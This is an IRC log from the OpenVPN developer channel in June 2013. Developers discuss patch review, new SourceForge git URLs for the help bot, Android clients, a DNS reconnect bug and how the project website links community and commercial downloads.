ChanServ 12:59 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 264 seconds] 13:07 -!- riddle [riddle@76.72.170.57] has quit [Disconnected by services] 13:08 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel 13:10 -!- Netsplit *.net <-> *.split quits: @mattock, MeanderingCode, @vpnHelper 13:13 -!- mode/#openvpn-devel [+o mattock] by ChanServ 13:13 -!- Netsplit over, joins: mattock 13:14 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 13:14 -!- Netsplit over, joins: vpnHelper 13:15 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 13:15 -!- Netsplit over, joins: MeanderingCode 13:16 -!- krzee [~k@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 13:16 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has quit [Excess Flood] 13:16 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn-devel 13:30 -!- novaflash_away [~novaflash@openvpn/corp/support/novaflash] has quit [Ping timeout: 256 seconds] 13:37 -!- waldner [waldner@openvpn/user/waldner] has quit [Remote host closed the connection] 13:38 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Write error: Broken pipe] 13:39 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 13:39 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 13:39 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 13:39 -!- mode/#openvpn-devel [+v krzee] by ChanServ 13:48 -!- riddle [riddle@us.yunix.net] has quit [Disconnected by services] 13:48 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel 14:02 -!- riddle [riddle@us.yunix.net] has quit [Disconnected by services] 14:03 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel 14:03 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 14:03 -!- mode/#openvpn-devel [+v pekster] by ChanServ 14:05 -!- pekster_ [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 245 seconds] 14:05 -!- kroot [~locutus@of.the-b.org] has quit [Ping timeout: 245 seconds] 14:17 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 246 seconds] 14:17 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 14:17 -!- mode/#openvpn-devel [+o andj] by ChanServ 14:19 -!- oh7lzb [vADxig0l@tunkki.fi] has quit [Ping timeout: 246 seconds] 15:18 -!- Netsplit *.net <-> *.split quits: +krzee, MeanderingCode, +pekster, @vpnHelper 15:22 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 15:22 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 15:28 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 15:28 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn-devel 15:28 -!- ServerMode/#openvpn-devel [+v pekster] by wolfe.freenode.net 16:06 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 248 seconds] 16:15 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 16:15 -!- mode/#openvpn-devel [+o raidz] by ChanServ 17:34 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 256 seconds] 17:39 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 17:39 -!- mode/#openvpn-devel [+o raidz] by ChanServ 17:40 -!- raidz is now known as raidz_away 17:40 -!- raidz_away is now known as raidz 18:25 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 18:25 -!- mode/#openvpn-devel [+v krzee] by ChanServ 18:59 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood] 20:25 -!- raidz is now known as raidz_away 23:39 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 23:39 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Wed Jun 05 2013 00:00 -!- WarTux [~ryan@unaffiliated/wartux] has joined #openvpn-devel 00:00 -!- WarTux [~ryan@unaffiliated/wartux] has left #openvpn-devel [] 03:01 -!- waldner [waldner@openvpn/user/waldner] has joined #openvpn-devel 03:14 -!- krzee [~k@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 03:16 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 03:16 -!- mode/#openvpn-devel [+v krzee] by ChanServ 03:37 -!- krzee [~k@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 03:48 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 03:48 -!- mode/#openvpn-devel [+v krzee] by ChanServ 03:57 -!- krzee [~k@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 03:59 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 03:59 -!- mode/#openvpn-devel [+v krzee] by ChanServ 04:22 -!- cron2_ [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 04:22 -!- mode/#openvpn-devel [+o cron2_] by ChanServ 04:30 -!- Netsplit *.net <-> *.split quits: riddle, @d12fk, @cron2, jgeboski 04:30 -!- Netsplit over, joins: riddle, jgeboski, @d12fk 05:21 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 05:21 -!- mode/#openvpn-devel [+v janjust] by ChanServ 05:35 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Remote host closed the connection] 05:40 -!- Netsplit *.net <-> *.split quits: riddle, @d12fk, jgeboski 05:43 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 05:43 -!- mode/#openvpn-devel [+v pekster] by ChanServ 05:45 -!- Netsplit over, joins: riddle, jgeboski, @d12fk 06:13 -!- krzee [~k@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 06:14 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 06:15 -!- mode/#openvpn-devel [+v krzee] by ChanServ 07:30 -!- Netsplit *.net <-> *.split quits: riddle, @d12fk, jgeboski 07:31 -!- krzee [~k@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 07:34 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel 07:34 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn-devel 07:34 -!- d12fk [~heiko@exit0.net] has joined #openvpn-devel 07:34 -!- ServerMode/#openvpn-devel [+o d12fk] by wolfe.freenode.net 07:34 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Remote host closed the connection] 07:35 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 07:35 -!- mode/#openvpn-devel [+v krzee] by ChanServ 07:49 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 07:49 -!- mode/#openvpn-devel [+v pekster] by ChanServ 07:52 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 07:52 -!- mode/#openvpn-devel [+o mattock] by ChanServ 08:07 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 256 seconds] 08:09 -!- MeanderingCode_ [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn-devel 08:19 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has quit [Ping timeout: 260 seconds] 08:19 -!- MeanderingCode_ is now known as MeanderingCode --- Log closed Wed Jun 05 08:24:16 2013 --- Log opened Wed Jun 05 09:29:05 2013 09:29 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 09:29 -!- Irssi: #openvpn-devel: Total of 14 nicks [8 ops, 0 halfops, 1 voices, 5 normal] 09:29 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 09:29 -!- Irssi: Join to #openvpn-devel was synced in 2 secs 09:29 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services] 09:30 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Ping timeout: 240 seconds] 09:31 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 09:31 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 09:36 -!- Netsplit *.net <-> *.split quits: @d12fk, jgeboski, riddle 09:48 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel 09:48 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn-devel 09:48 -!- d12fk [~heiko@exit0.net] has joined #openvpn-devel 09:48 -!- ServerMode/#openvpn-devel [+o d12fk] by calvino.freenode.net 09:49 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Quit: Leaving] 09:50 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn-devel 09:50 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Remote host closed the connection] 09:53 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn-devel 10:01 -!- Netsplit *.net <-> *.split quits: MeanderingCode 10:19 -!- raidz_away is now known as raidz 10:22 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 10:29 -!- syzzer [~steffan@50709EB6.static.ziggozakelijk.nl] has joined #openvpn-devel 10:29 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn-devel 10:30 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has quit [Excess Flood] 10:34 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn-devel 10:42 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 256 seconds] 10:42 -!- kisom [~kisom@kisom.thr.kth.se] has quit [Ping timeout: 256 seconds] --- Log closed Wed Jun 05 10:43:47 2013 --- Log opened Thu Jun 06 07:05:26 2013 07:05 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 07:05 -!- Irssi: #openvpn-devel: Total of 16 nicks [8 ops, 0 halfops, 2 voices, 6 normal] 07:05 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 07:05 -!- Irssi: Join to #openvpn-devel was synced in 1 secs 08:10 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 264 seconds] 08:10 -!- syzzer [~steffan@50709EB6.static.ziggozakelijk.nl] has quit [Ping timeout: 264 seconds] 08:12 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 08:12 -!- mode/#openvpn-devel [+o mattock] by ChanServ 08:18 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 325 seconds] 08:22 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 08:34 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 08:34 -!- mode/#openvpn-devel [+v krzee] by ChanServ 10:15 -!- krzee [~k@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 10:18 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 10:18 -!- mode/#openvpn-devel [+v krzee] by ChanServ 10:26 -!- raidz_away is now known as raidz 10:37 -!- syzzer [~steffan@50709EB6.static.ziggozakelijk.nl] has joined #openvpn-devel 19:46 -!- raidz is now known as raidz_away --- Day changed Fri Jun 07 2013 01:50 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:50 -!- mode/#openvpn-devel [+o mattock_afk] by ChanServ 01:50 -!- mattock_afk is now known as mattock 04:54 <@dazo> cron2_: I'm here now! Just been too loaded with tasks, I couldn't afford any distractions .... as the tasks were more boring than hanging out on #openvpn-devel :) 04:55 <@dazo> Regarding to #302 ... isn't the hash already available via $tls_digest_N (where N is the certificate "level") 04:58 <@dazo> hmm ... need to document the tls_digest_N variable 05:00 <@dazo> oh right ... new git URLs 05:20 <@dazo> syzzer: do you mind if I put Tamas Tevesz as author of your patch 0002 for the client-cert-not-req patches? And then set 'acked-by' by you? 05:20 <@cron2_> uh, new URLs? are they in the SF mails? 05:21 <@dazo> cron2_: at least push urls may be new ... I got a boatload of mails from sf.net yesterday .... openvpn project has been upgraded to the new sf.net platform 05:21 * cron2_ is on the road and didnt read all details 05:22 <@dazo> well, you'll notice if you try to push :) (I noticed when I did some pushes to eurephia at least :)) 05:22 <@cron2_> will check tomorrow 05:22 <@cron2_> dazo: so the distractions are done? 05:23 <@dazo> mostly :) 05:23 <@cron2_> cool :-) 05:23 <@cron2_> meeting next week? 05:24 <@dazo> cron2_: I got a patch from Tamaz Tevesz privately, syzzer did get copies of it and reviewed it ... and I've reviewed the additional patch from syzzer ... should we enforce these patches to the ML? .... these patches themselves are not earth-shaking at all, just improving polarssl/openssl compatibility 05:24 * dazo checks calendar 05:25 <@dazo> I'm in another meeting already next week ... but what about next friday or monday? 05:26 <@cron2_> he mentioned that to me as well, and i'd like to see the parch on the list 05:26 -!- waldner [waldner@openvpn/user/waldner] has joined #openvpn-devel 05:27 <@dazo> okay ... syzzer: ^^^ let's figure out who does what :) 05:27 <@cron2_> mon/fri wont work for me, wed would 05:27 <@dazo> let me double check wed 05:29 <@dazo> yeah, wed will work 05:31 <@plaisthos> mon does not work for me 05:31 <@plaisthos> fri might work 05:31 <@dazo> plaisthos: and wed? 05:31 <@plaisthos> probably not 05:32 <@dazo> :/ 05:32 <@plaisthos> we have running event here at our university and we probably cheer for our collegeas 05:34 <@dazo> not adding unexpected traps!?!? .... boring ..... :-P 05:40 <@cron2_> so lets aim for thursday in 2 weeks 05:41 <@cron2_> I do not have anything urgent, more general realigning on open issues 05:41 <@dazo> okay, makes sense! 05:43 <@dazo> oh, I noticed now that #302 is patch from James .... ugh ... just another clash between community and James' working method ... but the even more concerning part is that I mailed James directly in 2008 with the patch implementing tls_digest_{n} ....... and he told me he wouldn't pull it into OpenVPN 2.1_rc15+, because it was "just about" to be released as stable .... 05:44 * cron2_ is optimistic thst this is now rapidly improving 05:45 <@cron2_> meh screen keyboard 05:46 <@dazo> I hope so :) 05:47 <@dazo> well, I've started to implement plug-in API v3 in eurephia ... and won't complain if even the tls_digest_{n} is replaced by the --x509-track stuff 06:50 <@dazo> 4 patches to the mailing list .... well ... that's gotta be good enough for today :) 07:04 <@cron2_> yeah, quite impressive :-) 07:05 <@dazo> oh, it feels good to poke at C code again :) 07:47 <@mattock> dazo: I see you've resurfaced :P 07:48 <@dazo> yeah :) 07:48 <@dazo> hopefully hard to miss that :-P 07:51 < syzzer> dazo: yeah, getting the 07:52 < syzzer> dazo: yeah, I split my little patch from Tamasz' so he could claim authorship for his work 07:52 <@dazo> yeah ... well, he replied he will submit the patch when he sees yours on the ML :) 07:52 < syzzer> perfect 08:42 <@cron2_> is on the list 08:42 * dazo acks 08:44 <@dazo> and pushes 08:50 <@dazo> ecrist: you might need to update vpnHelper with new git URL .... 08:54 <+krzee> !git 08:54 <@vpnHelper> "git" is (#1) For the stable git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn.git or (#2) For the development git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn-testing.git or (#3) Browse the git repositories here: http://openvpn.git.sourceforge.net/git/gitweb-index.cgi or (#4) See !git-doc how to use git or (#5) If you have problems, relax: 08:54 <@vpnHelper> http://justinhileman.info/article/git-pretty/git-pretty.png 08:54 <+krzee> that^ ? 09:13 <@dazo> or right, yeah, those as well :) 09:14 <@dazo> git://git.code.sf.net/p/openvpn/openvpn <<--- stable 09:14 <@dazo> git://git.code.sf.net/p/openvpn/openvpn-testing <<--- stable 09:14 <@dazo> git://git.code.sf.net/p/openvpn/openvpn-testing <<--- testing!! 09:19 <+krzee> !forget git 09:19 <@vpnHelper> Error: 5 factoids have that key. Please specify which one to remove, or use * to designate all of them. 09:19 <+krzee> !forget git * 09:19 <@vpnHelper> Joo got it. 09:21 <+krzee> !learn git as git clone git://git.code.sf.net/p/openvpn/openvpn <<--- stable || git clone git://git.code.sf.net/p/openvpn/openvpn-testing <<--- stable development || git clone git://git.code.sf.net/p/openvpn/openvpn-testing <<--- testing!! 09:21 <@vpnHelper> Joo got it. 10:25 -!- raidz_away is now known as raidz 12:12 -!- dazo is now known as dazo_afk 13:52 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Quit: Leaving] 14:00 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn-devel 17:43 < MeanderingCode> am i imagining things, or did i read some months back about openvpn working towards a native android version? 17:43 < MeanderingCode> (of the client) 18:01 -!- mattock is now known as mattock_afk 18:32 -!- raidz is now known as raidz_away 19:41 <@plaisthos> MeanderingCode: there are two openvpn clients for android 19:41 <@plaisthos> !android 19:41 <@vpnHelper> "android" is (#1) an open source OpenVPN client for ICS is available in Google Play, look for OpenVPN for Android. FAQ is here: http://code.google.com/p/ics-openvpn/wiki/FAQ or (#2) If running cyanogenmod, openvpn and busybox are already installed for you! or (#3) If you do not have cyanogenmod or ICS, but your device is rooted, you can use android-openvpn-installer and openvpn-settings from the 19:41 <@vpnHelper> market 21:20 < MeanderingCode> plaisthos: i know about them (in fact, i forked ics-openvpn). i thought, though, that there was some "official" android native client being built 21:49 <+krzee> there are 2 21:49 <+krzee> openvpn-connect is official from corp 21:50 <+krzee> and "openvpn for android" is fully opensource and released by plaisthos, who is a very active dev here 21:51 <+krzee> so ya, 2 official android native clients really 22:19 <+pekster> Mostly. The "connect" and "as" stuff is "mostly GPL OpenVPN-compatible" but not quite in some respects. There are still bits and pieces that don't mesh between both codebases becuase they're independently developed --- Day changed Sat Jun 08 2013 05:55 -!- mattock_afk is now known as mattock 07:04 <@cron2_> !git 07:04 <@vpnHelper> "git" is git clone git://git.code.sf.net/p/openvpn/openvpn <<--- stable || git clone git://git.code.sf.net/p/openvpn/openvpn-testing <<--- stable development || git clone git://git.code.sf.net/p/openvpn/openvpn-testing <<--- testing!! 07:05 <@cron2_> this factoid is a bit confused 13:55 -!- mattock is now known as mattock_afk 15:08 -!- waldner [waldner@openvpn/user/waldner] has quit [Remote host closed the connection] 15:09 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has quit [Excess Flood] 15:13 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn-devel --- Day changed Sun Jun 09 2013 02:32 < MeanderingCode> plaisthos: ah, well hello there! 02:32 < MeanderingCode> much to talk about, we have! 02:33 < MeanderingCode> first question: does minivpn build on ndk r8e? haven't tried yet. 02:33 < MeanderingCode> i'm going offline for most of the coming week, so we'll have to talk later, but it's nice to meet you :) 02:35 -!- riddle [riddle@us.yunix.net] has quit [Disconnected by services] 02:36 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel 02:38 -!- syzzer [~steffan@50709EB6.static.ziggozakelijk.nl] has quit [Ping timeout: 276 seconds] 02:41 -!- syzzer [~steffan@50709EB6.static.ziggozakelijk.nl] has joined #openvpn-devel 10:48 <+krzee> ^ should i be using yoda voice? 12:20 <@plaisthos> MeanderingCode: probably not 12:21 <@plaisthos> MeanderingCode: or long answer it will build and work on 4.1+ but give strange linkage errors on 4.0 16:23 <@plaisthos> ics-openvpn has now snappy support :) 19:07 -!- tlacatlc6 [~chatzilla@72.188.6.76] has joined #openvpn-devel 19:08 -!- tlacatlc6 [~chatzilla@72.188.6.76] has left #openvpn-devel [] --- Day changed Mon Jun 10 2013 02:15 -!- mattock_afk is now known as mattock 04:00 -!- dazo_afk is now known as dazo 04:04 <@dazo> !forget git 04:04 <@vpnHelper> Joo got it. 04:04 <@dazo> !learn git as For the stable git tree: git clone git://git.code.sf.net/p/openvpn/openvpn 04:04 <@vpnHelper> Joo got it. 04:04 <@dazo> !learn git as For the development git tree: git://git.code.sf.net/p/openvpn/openvpn-testing 04:04 <@vpnHelper> Joo got it. 04:05 <@dazo> !learn git as Browse the git repositories here: http://sourceforge.net/p/openvpn/openvpn-testing/ci/master/tree/ 04:05 <@vpnHelper> Joo got it. 04:05 <@dazo> !learn git as See !git-doc how to use git 04:05 <@vpnHelper> Joo got it. 04:06 <@dazo> !learn Got a git panic? Relax! http://justinhileman.info/article/git-pretty/git-pretty.png 04:06 <@vpnHelper> (learn [<channel>] <key> as <value>) -- Associates <key> with <value>. <channel> is only necessary if the message isn't sent on the channel itself. The word 'as' is necessary to separate the key from the value. It can be changed to another word via the learnSeparator registry value. 04:06 <@dazo> !learn git as Got a git panic? Relax! http://justinhileman.info/article/git-pretty/git-pretty.png 04:06 <@vpnHelper> Joo got it. 04:06 <@dazo> !git 04:06 <@vpnHelper> "git" is (#1) For the stable git tree: git clone git://git.code.sf.net/p/openvpn/openvpn or (#2) For the development git tree: git://git.code.sf.net/p/openvpn/openvpn-testing or (#3) Browse the git repositories here: http://sourceforge.net/p/openvpn/openvpn-testing/ci/master/tree/ or (#4) See !git-doc how to use git or (#5) Got a git panic? Relax! http://justinhileman.info/article/git-pretty/git- 04:06 <@vpnHelper> pretty.png 04:07 <@dazo> !forget git 5 04:07 <@vpnHelper> Joo got it. 04:07 <@dazo> !learn git as git troubles? http://justinhileman.info/article/git-pretty/git-pretty.png 04:07 <@vpnHelper> Joo got it. 04:07 <@dazo> !git 04:07 <@vpnHelper> "git" is (#1) For the stable git tree: git clone git://git.code.sf.net/p/openvpn/openvpn or (#2) For the development git tree: git://git.code.sf.net/p/openvpn/openvpn-testing or (#3) Browse the git repositories here: http://sourceforge.net/p/openvpn/openvpn-testing/ci/master/tree/ or (#4) See !git-doc how to use git or (#5) git troubles? http://justinhileman.info/article/git-pretty/git-pretty.png 04:07 <@dazo> cron2_: better? 04:13 <@cron2_> yes, thanks 05:04 <@plaisthos> !git-doc 05:04 <@vpnHelper> "git-doc" is (#1) For a good git documentation, see http://progit.org/book/ or (#2) For a very quick git crash course, see https://community.openvpn.net/openvpn/wiki/GitCrashCourse 05:11 <@dazo> plaisthos: Can you have a quick glance at this one? https://bugzilla.redhat.com/show_bug.cgi?id=966281 ... could this be related to commit f2d6f3bc06db4f9e0815fc25e35e393f794c193a 05:11 <@dazo> ? 05:11 <@vpnHelper> Title: Bug 966281 openvpn 2.3.1 reconnect fails with DNS error, when network is switched (at bugzilla.redhat.com) 05:54 <@plaisthos> dazo: yeah. That should not happen 05:54 <@plaisthos> dazo: openvpn_getaddrinfo call res_init () 05:55 <@dazo> ahh, cool ... I didn't look too close on the code ... I had the feeling you were more into those code paths :) 05:55 <@plaisthos> if HAVE_RESINIT is defined 05:55 <@plaisthos> which should be 06:00 <@plaisthos> 2.2.2 should use getaddr 06:01 <@plaisthos> 2.2.2 does NOT reinitialize the resolver before doing gethostbyname 06:02 <@plaisthos> argh 06:02 <@plaisthos> it does 06:02 <@plaisthos> should be no difference 06:02 <@plaisthos> if gethostbyname and getaddrinfo behave similar 06:04 <@dazo> iirc, gethostbyname is deprecated by getaddrinfo .... so I wouldn't expect them to behave exactly the same 06:05 <@plaisthos> dazo: I mean terms of using new dns servers after calling res_init 06:07 <@dazo> ahh, res_init is a libc call 06:07 <@dazo> (or, libresolv in fact) 06:08 <@dazo> well, res_init() should read config files again, though 06:08 <@dazo> maybe it's a Fedora bug? 06:08 <@dazo> or libresolv issue? 06:10 <@plaisthos> hard to say 06:11 <@plaisthos> my primary test platform use a different resolver implemtation (probably) 06:13 <@plaisthos> android resolv library seems to be on netbsd resolv library which in turn is based on ISC sources 06:13 <@plaisthos> OS X seems to be based on bind 9 06:14 <@plaisthos> linux glibc seems to be based on some older bind sources 06:15 <@plaisthos> and android has things like 06:15 <@plaisthos> #else /* !ANDROID_CHANGES - IGNORE resolv.conf in Android */ 06:15 <@dazo> heh ... no wonder you didn't really see this :) 06:16 <@plaisthos> so every system seem to have its own resolv implementation %( 06:17 <@plaisthos> and FreeBSD is bind9 too but a newer bind9 version (2008 vs 2006) 10:13 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 240 seconds] 10:15 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 10:15 -!- mode/#openvpn-devel [+o dazo] by ChanServ 10:17 -!- raidz_away is now known as raidz 10:31 -!- krzee [~k@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 10:32 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 10:32 -!- mode/#openvpn-devel [+v krzee] by ChanServ 10:44 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood] 10:45 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 10:45 -!- mode/#openvpn-devel [+v krzee] by ChanServ 11:44 -!- waldner [waldner@openvpn/user/waldner] has joined #openvpn-devel 12:42 -!- Netsplit *.net <-> *.split quits: @raidz 12:42 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 12:42 -!- mode/#openvpn-devel [+o raidz] by ChanServ 13:09 <+pekster> So, from openvpn.net if you click on the "community" button, then mouseover "downloads" (mind you this is all on the "open-source.html" page) the first link is "Access Server Downloads." Any chance this can get fixed? If users wanted AS, they'd have presumably clicked on it from the homepage. Cross-linking downloads from the GPL to commercial products like that is simply a dis-service to users 13:11 <+pekster> It's a little disappointing to see so many links to the non-free codebase and licensing links on an "open-source" product's "homepage" 13:17 <@dazo> pekster++ 13:17 <@dazo> mattock: ^^^ 13:18 <@dazo> pekster: I'd like to see that the "Community" button would send the visitor to https://community.openvpn.net/ instead ... and we could keep full control on the community servers instead 13:18 <@vpnHelper> Title: OpenVPN Community (at community.openvpn.net) 13:18 <+pekster> Yes, that would be great too 13:18 <+krzee> +1 13:18 <+pekster> Treat that like the wiki, or maybe keep the homepage with committer control to "trusted" devs/community folk so it's a bit more protected than the wiki 13:25 <@mattock> pekster: re: as downloads first... that might be fixable, although I think Joomla just puts the menu entries in alphabetic order 13:26 <@mattock> once you've clicked the big community thingy, the community download link is visible on the list on the left 13:26 <@mattock> also, the "community" menu has a community download link 13:26 <@mattock> and the downloads menu has a community downloads link 13:27 <@mattock> so it's not like the community download page is nearly hidden (like it was briefly at one point) 13:28 <+pekster> Sure, but we get people all the time getting confused. I do like the idea of making the community homepage owned by the "community", not the corp side 13:28 <@mattock> yep, I agree that would make sense 13:29 <@mattock> I don't call the shots, unfortunately... but what could _possibly_ be done is have the community section more cleanly separated and give a handful of community people write access there 13:30 <+pekster> The downloads was just a more subtle thing: hopefully the rest is at least spotted by people who know what they're looking for (ie: the VPN Service and VPN Solution menus) but ideally I don't even want that on a community page. If anything, a note somewhere like "Looking for the commercial 'Access Server' or Subscription VPN Solution? See [link]" or something 13:31 <+pekster> I'll even voulenteer to maintain/update it if helpful. I did clean up the Win32 GUI docs, although maybe I should open a ticket to get the links to it fixed? 13:31 <+pekster> https://community.openvpn.net/openvpn/wiki/OpenVPN-GUI 13:31 <@mattock> pekster: I fixed those 13:31 <@vpnHelper> Title: OpenVPN-GUI – OpenVPN Community (at community.openvpn.net) 13:31 <@mattock> or didn't I? 13:31 <@mattock> I did 13:31 <+pekster> Ah, cool 13:31 <@mattock> you were not here when I did that 13:32 <+pekster> Thanks! (sorry for not checking first...) 13:32 <@mattock> check the GUI page on openvpn.net 13:32 <@mattock> no problem! 13:32 <+pekster> <3 13:32 <+pekster> No more "here, dump you to a sf.net page where you can build it" :) 13:32 <@mattock> pekster (and the rest of you guys): let me know if you'd like to have some pages from openvpn.net migrated to the Trac wiki 13:33 <@mattock> pekster: I also made some small additions to the GUI wiki page 13:33 <+pekster> Sure, I'm not posessive of that stuff. Edit away, it's a wiki 13:33 <@mattock> I basically just added some links so that people find other wiki pages more easily 13:34 <@mattock> the GUI page is very nice, btw 13:35 <+pekster> Glad to hear it. I try to document things well, assuming very little when the average joe might be relying on it 13:36 <@mattock> it's wise never to underestimate the confusedness of people 13:36 <@mattock> a few people have complained to me that their VPN stopped working once they change the community services password 13:37 <@mattock> which has no effect on any VPN whatsoever 13:43 <+pekster> I'll browse some of the hosted web links this week and see if anything else makes sense to migrate over to the wiki; some of these community-owned ideas are good, but I get that takes some time and coordination too 13:44 <@mattock> we're atm upgrading Joomla (that runs openvpn.net)... I'll see if it supports giving write access selectively (e.g. to pages in the "open source" category) 13:45 <@mattock> that'd allow some trusted community people to get write access to openvpn.net pages, too 13:48 <@ecrist> :) 13:48 <@ecrist> oh, trusted 13:48 <@ecrist> nm 13:49 <@ecrist> :P 13:49 <@mattock> ecirst: we're all fans of "trusted computing", right? 13:49 <@mattock> :P 13:52 <+pekster> "helpfully" comes with a trust model "the industry" knows you'll love! 14:06 <@dazo> pekster: was it you who also updated the man pages to proper html on the wiki? Or was that someone else? 14:08 <+pekster> Yea, that was me 14:08 <@dazo> mattock: I think it's more hassle to provide granular write access to the main site, when we already have the community site running 14:08 <@dazo> pekster: I think mattock wants to see your secret sauce for doing that :) 14:08 <+pekster> I just ran it through man2html, then tweaked the output to remove the man -> man links and cleaned up the header a bit 14:08 <+pekster> Ah, sure. I can come up with a cute script that does it too 14:08 <+pekster> I (ab)used sed a bit, but I wasn't "parsing" the html, just "editing" it, so I'll call it a fair use of sed :P 14:09 <@dazo> mattock: let community.openvpn.net be our playground, and the corp can have their own .... and we'll point at each-other ... that's easier and much more transparent on "who does what" 14:10 <+pekster> Yes, that I like 14:10 <+pekster> 'Community page here', with a visible note near the top re-directing any accidently click-throughs 14:10 <@mattock> pekster: regarding the man-page on the Wiki... I'd definitely like the secret sauce :) 14:11 <+pekster> mattock: I'll shot it over too you. Let me make an easy to use script though, not give you the step-by-step I ended up using to get there :P 14:11 <+pekster> shoot* 14:11 <@mattock> the original reason I went with plain text on the man-page was that man2html output was suboptimal 14:11 <@mattock> and didn't have time/energy to start making a fancy postprocessor 14:11 <@mattock> pekster: great, thanks! 14:11 <+pekster> It was mostly good, except for the exceptation that it would be used on a local webhost with *all* the manpages cross-linked. 